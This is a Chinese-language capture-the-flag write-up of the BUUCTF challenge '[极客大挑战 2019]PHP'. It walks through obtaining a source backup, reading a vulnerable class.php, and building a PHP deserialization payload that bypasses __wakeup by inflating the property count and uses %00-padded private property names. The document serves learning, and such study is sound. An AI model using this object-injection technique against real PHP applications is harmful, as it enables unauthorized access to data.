用dirsearch扫描文件,扫了一万年什么也没扫出来
从网上看的wp,他们扫出来www.zip 这里直接用上了,以后有空再扫一遍
下载www.zip 在index.php中
说明要输入select
打开class.php
<?php
include 'flag.php';error_reporting(0);class Name{private $username = 'nonono';private $password = 'yesyes';public function __construct($username,$password){$this->username = $username;$this->password = $password;}function __wakeup(){$this->username = 'guest';}function __destruct(){if ($this->password != 100) {echo "</br>NO!!!hacker!!!</br>";echo "You name is: ";echo $this->username;echo "</br>";echo "You password is: ";echo $this->password;echo "</br>";die();}if ($this->username === 'admin') {global $flag;echo $flag;}else{echo "</br>hello my friend~~</br>sorry i can't give you the flag!";die();}}
}
?>
这里得知username=admin,password=100
构造:
<?phpclass Name{private $username;private $password;public function __construct($username,$password){$this->username = $username;$this->password = $password;}}$a=new Name('admin','100');echo serialize($a);?>
O:表示对象 O表示对象,1表示对象名的字符串长度,'a'是对象名,0是对象内属性个数 1
4:代表名为Name的类 有四个字符
2是对象内属性的个数
s: 代表的字符串
14:代表的字符串的长度
而我们的Nameusername 只有12个字符,这里的14怎么来的呢?
大家可以理解为Name 和username 是拼接起来的 所以在Name和username这里各有一个空格,所以就是14个字符了
后面的意思都一样了
绕过__wake():将属性个数改为3或更大的数
O:4:"Name":3:{s:14:" Name username";s:5:"admin";s:14:" Name password";s:3:"100";}
哪里还没考虑到?
如果构造的链子中含有空格,那么空格被url编码为%20后会导致链子不能被反序列化
故POC可改为
O:4:"Name":3:{s:13:"Name%00username";s:5:"admin";s:13:"Name%00password";i:100;}
同时,因为private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化(即构造POC)时,类名和字段名前面都会加上ascii为0的字符(不可见字符)
故POC改为
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
提交,拿到flag
参考:
[极客大挑战 2019]PHP1全网最详细 纯小白也能看懂-CSDN博客
[网络安全 CTF] BUUCTF极客大挑战2019PHP解题详析(Dirsearch使用实例+php反序列化)_[极客大挑战 2019]php-CSDN博客